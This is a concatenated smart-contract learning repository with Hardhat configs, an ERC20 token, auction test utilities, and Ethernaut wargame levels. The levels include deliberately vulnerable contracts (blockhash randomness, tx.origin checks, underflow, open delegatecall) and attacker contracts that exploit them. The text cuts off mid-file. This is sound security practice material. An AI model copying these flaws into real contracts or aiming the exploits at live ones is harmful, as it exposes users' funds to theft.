accounts", async (args, hre) => { 17 | const accounts = await hre.ethers.getSigners(); 18 | for (const account of accounts) { 19 | console.log(await account.address); 20 | } 21 | }); 22 | // You need to export an object to set up your config 23 | // Go to https://hardhat.org/config/ to learn more 24 | exports.default = { 25 | solidity: "0.8.7", 26 | networks: { 27 | ropsten: { 28 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 29 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 30 | }, 31 | }, 32 | }; 33 | -------------------------------------------------------------------------------- /crowdfunding/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | import "hardhat-gas-reporter" 4 | import "hardhat-tracer" 5 | import "@atixlabs/hardhat-time-n-mine" 6 | import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions"; 7 | 8 | import dotenv from 'dotenv' 9 | dotenv.config() 10 | 11 | // This is a sample Hardhat task. To learn how to create your own go to 12 | // https://hardhat.org/guides/create-task.html 13 | task("accounts", "Prints the list of accounts", async (args, hre) => { 14 | const accounts = await hre.ethers.getSigners(); 15 | 16 | for (const account of accounts) { 17 | console.log(await account.address); 18 | } 19 | }); 20 | 21 | // You need to export an object to set up your config 22 | // Go to https://hardhat.org/config/ to learn more 23 | 24 | export default { 25 | solidity: { 26 | version: '0.8.7', 27 | settings: { 28 | outputSelection: { 29 | "*": { 30 | "*": ["storageLayout"], 31 | }, 32 | }, 33 | } 34 | }, 35 | networks: { 36 | ropsten: { 37 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 38 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 39 | }, 40 | }, 41 | }; 42 | -------------------------------------------------------------------------------- /crowdfunding/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "ethers": "^5.4.5", 13 | "hardhat": "^2.6.1", 14 | "hardhat-gas-reporter": "^1.0.4", 15 | "prettier": "^2.4.1", 16 | "prettier-plugin-solidity": "^1.0.0-beta.18", 17 | "ts-node": "^10.2.1", 18 | "typescript": "^4.3.5" 19 | }, 20 | "dependencies": { 21 | "@atixlabs/hardhat-time-n-mine": "^0.0.5", 22 | "@defi-wonderland/smock": "^2.0.7", 23 | "@openzeppelin/contracts": "^4.3.1", 24 | "hardhat-tracer": "^1.0.0-alpha.6", 25 | "openzeppelin-solidity": "^4.3.1" 26 | }, 27 | "scripts": { 28 | "test": "nodemon -e ts,sol --exec hh test" 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /crowdfunding/scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | console.log("Account balance:", (await deployer.getBalance()).toString()); 9 | 10 | const factory = await ethers.getContractFactory("ArmanToken"); 11 | const contract = await factory.deploy(100000); 12 | 13 | console.log("Contract address:", contract.address); 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch((error) => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /crowdfunding/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist" 8 | }, 9 | "include": ["./scripts", "./test"], 10 | "files": ["./hardhat.config.ts"] 11 | } 12 | -------------------------------------------------------------------------------- /dutch_auction/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /dutch_auction/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /dutch_auction/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 4, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | }, 15 | { 16 | "files": "*.ts", 17 | "options": { 18 | "printWidth": 120 19 | } 20 | } 21 | ] 22 | } -------------------------------------------------------------------------------- /dutch_auction/contracts/TestNFT.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 4 | 5 | contract TestNFT is ERC721("", "") { 6 | function mint(address to, uint256 tokenId) public { 7 | _mint(to, tokenId); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /dutch_auction/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /dutch_auction/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /dutch_auction/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /dutch_auction/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /english_auction/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /english_auction/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /english_auction/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 4, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /english_auction/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /english_auction/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /english_auction/test/sample_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | 6 | describe("MyContract", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Store signer 12 | signer = (await ethers.getSigners())[0]; 13 | 14 | // Deploy contact 15 | contract = await ( 16 | await ethers.getContractFactory("MyContract") 17 | ).deploy(); 18 | await contract.deployed(); 19 | }); 20 | 21 | describe("myFunction()", function () { 22 | it("does something", async () => { 23 | expect(1).to.equal(1); 24 | }); 25 | }); 26 | }); 27 | -------------------------------------------------------------------------------- /english_auction/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /english_auction/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /erc20token/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /erc20token/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /erc20token/README.md: -------------------------------------------------------------------------------- 1 | # Basic Sample Hardhat Project 2 | 3 | This project demonstrates a basic Hardhat use case. It comes with a sample contract, a test for that contract, a sample script that deploys that contract, and an example of a task implementation, which simply lists the available accounts. 4 | 5 | Try running some of the following tasks: 6 | 7 | ```shell 8 | npx hardhat accounts 9 | npx hardhat compile 10 | npx hardhat clean 11 | npx hardhat test 12 | npx hardhat node 13 | node scripts/sample-script.js 14 | npx hardhat help 15 | ``` 16 | -------------------------------------------------------------------------------- /erc20token/contracts/ArmanToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | 6 | contract ArmanToken is ERC20 { 7 | constructor(uint256 initialSupply) ERC20("Gold", "GLD") { 8 | _mint(msg.sender, initialSupply); 9 | } 10 | 11 | function _mint(address account, uint256 amount) internal override { 12 | super._mint(account, amount); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /erc20token/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | 4 | import dotenv from 'dotenv' 5 | dotenv.config() 6 | 7 | // This is a sample Hardhat task. To learn how to create your own go to 8 | // https://hardhat.org/guides/create-task.html 9 | task("accounts", "Prints the list of accounts", async (args, hre) => { 10 | const accounts = await hre.ethers.getSigners(); 11 | 12 | for (const account of accounts) { 13 | console.log(await account.address); 14 | } 15 | }); 16 | 17 | // You need to export an object to set up your config 18 | // Go to https://hardhat.org/config/ to learn more 19 | 20 | export default { 21 | solidity: "0.8.7", 22 | networks: { 23 | ropsten: { 24 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 25 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 26 | }, 27 | }, 28 | }; 29 | -------------------------------------------------------------------------------- /erc20token/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "ethers": "^5.4.5", 13 | "hardhat": "^2.6.1", 14 | "ts-node": "^10.2.1", 15 | "typescript": "^4.3.5" 16 | }, 17 | "dependencies": { 18 | "@openzeppelin/contracts": "^4.3.1", 19 | "openzeppelin-solidity": "^4.3.1" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /erc20token/scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | console.log("Account balance:", (await deployer.getBalance()).toString()); 9 | 10 | const factory = await ethers.getContractFactory("ArmanToken"); 11 | const contract = await factory.deploy(100000); 12 | 13 | console.log("Contract address:", contract.address); 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch((error) => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /erc20token/test/token_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("ArmanToken", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | const totalSupply = 1000 11 | 12 | beforeEach(async () => { 13 | // Deploy contact 14 | const factory = await ethers.getContractFactory("ArmanToken"); 15 | contract = await factory.deploy(totalSupply); 16 | await contract.deployed(); 17 | 18 | // Store signer 19 | signer = (await ethers.getSigners())[0] 20 | }); 21 | 22 | it("Has a total supply", async () => { 23 | expect(await contract.totalSupply()).to.eq(totalSupply) 24 | }); 25 | }); 26 | -------------------------------------------------------------------------------- /erc20token/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist" 8 | }, 9 | "include": ["./scripts", "./test"], 10 | "files": ["./hardhat.config.ts"] 11 | } 12 | -------------------------------------------------------------------------------- /ethernaut_challenges/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | PRIVATE_KEY_1= 3 | PRIVATE_KEY_2= -------------------------------------------------------------------------------- /ethernaut_challenges/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "es2021": true, 4 | "node": true 5 | }, 6 | "extends": [ 7 | "eslint:recommended", 8 | "plugin:@typescript-eslint/recommended", 9 | "plugin:@typescript-eslint/eslint-recommended", 10 | "plugin:@typescript-eslint/recommended-requiring-type-checking" 11 | ], 12 | "parser": "@typescript-eslint/parser", 13 | "parserOptions": { 14 | "ecmaVersion": 12, 15 | "sourceType": "module", 16 | "project": "./tsconfig.json" 17 | }, 18 | "plugins": ["@typescript-eslint"], 19 | "rules": { 20 | "no-console": 1, 21 | "max-len": ["warn", 120], 22 | "indent": ["error", 2, { "SwitchCase": 1 }], 23 | "quotes": ["error", "single"], 24 | "object-curly-spacing": ["warn", "always"], 25 | "space-in-parens": ["warn", "never"], 26 | "array-bracket-spacing": ["warn", "never"], 27 | "comma-dangle": ["warn", "always-multiline"], 28 | "comma-spacing": ["warn", { "before": false, "after": true }], 29 | "@typescript-eslint/restrict-template-expressions": "off", 30 | "@typescript-eslint/no-unsafe-assignment": "off", 31 | "@typescript-eslint/no-unsafe-call": "off", 32 | "@typescript-eslint/no-misused-promises": "off", 33 | "@typescript-eslint/unbound-method": "off", 34 | "@typescript-eslint/no-unsafe-member-access": "off", 35 | "@typescript-eslint/no-var-requires": "off", 36 | "no-empty": "off" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /ethernaut_challenges/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | local 9 | typechain-types -------------------------------------------------------------------------------- /ethernaut_challenges/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "semi": false, 3 | "trailingComma": "all", 4 | "singleQuote": true, 5 | "printWidth": 120, 6 | "arrowParens": "avoid", 7 | "overrides": [ 8 | { 9 | "files": "*.sol", 10 | "options": { 11 | "printWidth": 120, 12 | "tabWidth": 4, 13 | "useTabs": false, 14 | "singleQuote": false, 15 | "bracketSpacing": false, 16 | "explicitTypes": "always", 17 | "semi": true 18 | } 19 | } 20 | ] 21 | } -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/03_CoinFlip.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "@openzeppelin/contracts/math/SafeMath.sol"; 5 | 6 | contract CoinFlip { 7 | using SafeMath for uint256; 8 | uint256 public consecutiveWins; 9 | uint256 lastHash; 10 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 11 | 12 | constructor() public { 13 | consecutiveWins = 0; 14 | } 15 | 16 | function flip(bool _guess) public returns (bool) { 17 | uint256 blockValue = uint256(blockhash(block.number.sub(1))); 18 | 19 | if (lastHash == blockValue) { 20 | revert(); 21 | } 22 | 23 | lastHash = blockValue; 24 | uint256 coinFlip = blockValue.div(FACTOR); 25 | bool side = coinFlip == 1 ? true : false; 26 | 27 | if (side == _guess) { 28 | consecutiveWins++; 29 | return true; 30 | } else { 31 | consecutiveWins = 0; 32 | return false; 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/03_CoinFlipAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./03_CoinFlip.sol"; 4 | import "@openzeppelin/contracts/math/SafeMath.sol"; 5 | 6 | contract CoinFlipAttack { 7 | using SafeMath for uint256; 8 | 9 | uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 10 | 11 | CoinFlip public target; 12 | uint256 lastBlockNumberRun; 13 | 14 | event CurrentWins(uint256 indexed wins); 15 | 16 | constructor(CoinFlip _target) public { 17 | target = _target; 18 | } 19 | 20 | function guess() public { 21 | require(block.number > lastBlockNumberRun, "Already ran this block!"); 22 | lastBlockNumberRun = block.number; 23 | 24 | uint256 blockValue = uint256(blockhash(block.number.sub(1))); 25 | uint256 coinFlip = blockValue.div(FACTOR); 26 | bool side = coinFlip == 1 ? true : false; 27 | 28 | target.flip(side); 29 | emit CurrentWins(target.consecutiveWins()); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/04_Telephone.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Telephone { 5 | address public owner; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | function changeOwner(address _owner) public { 12 | if (tx.origin != msg.sender) { 13 | owner = _owner; 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/04_TelephoneAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | import "./04_Telephone.sol"; 4 | import "hardhat/console.sol"; 5 | 6 | contract TelephoneAttack { 7 | function attack(Telephone targetAddress, address owner) public { 8 | targetAddress.changeOwner(owner); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/05_Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Token { 5 | mapping(address => uint256) balances; 6 | uint256 public totalSupply; 7 | 8 | constructor(uint256 _initialSupply) public { 9 | balances[msg.sender] = totalSupply = _initialSupply; 10 | } 11 | 12 | function transfer(address _to, uint256 _value) public returns (bool) { 13 | require(balances[msg.sender] - _value >= 0); 14 | balances[msg.sender] -= _value; 15 | balances[_to] += _value; 16 | return true; 17 | } 18 | 19 | function balanceOf(address _owner) public view returns (uint256 balance) { 20 | return balances[_owner]; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/06_Delegation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Delegate { 5 | address public owner; 6 | 7 | constructor(address _owner) public { 8 | owner = _owner; 9 | } 10 | 11 | function pwn() public { 12 | owner = msg.sender; 13 | } 14 | } 15 | 16 | contract Delegation { 17 | address public owner; 18 | Delegate delegate; 19 | 20 | constructor(address _delegateAddress) public { 21 | delegate = Delegate(_delegateAddress); 22 | owner = msg.sender; 23 | } 24 | 25 | fallback() external { 26 | (bool result, ) = address(delegate).delegatecall(msg.data); 27 | if (result) { 28 | this; 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/07_Force.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Force {/* 5 | 6 | MEOW ? 7 | /\_/\ / 8 | ____/ o o \ 9 | /~____ =ø= / 10 | (______)__m_m) 11 | 12 | */} -------------------------------------------------------------------------------- /ethernaut_challenges/contracts/07_ForceAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract ForceAttack { 5 | address payable public target; 6 | 7 | constructor(address _target) public { 8 | target = payable(_target); 9 | } 10 | 11 | function boom() public { 12 | require(address(this).balance > 0, 'Need some eth balance'); 13 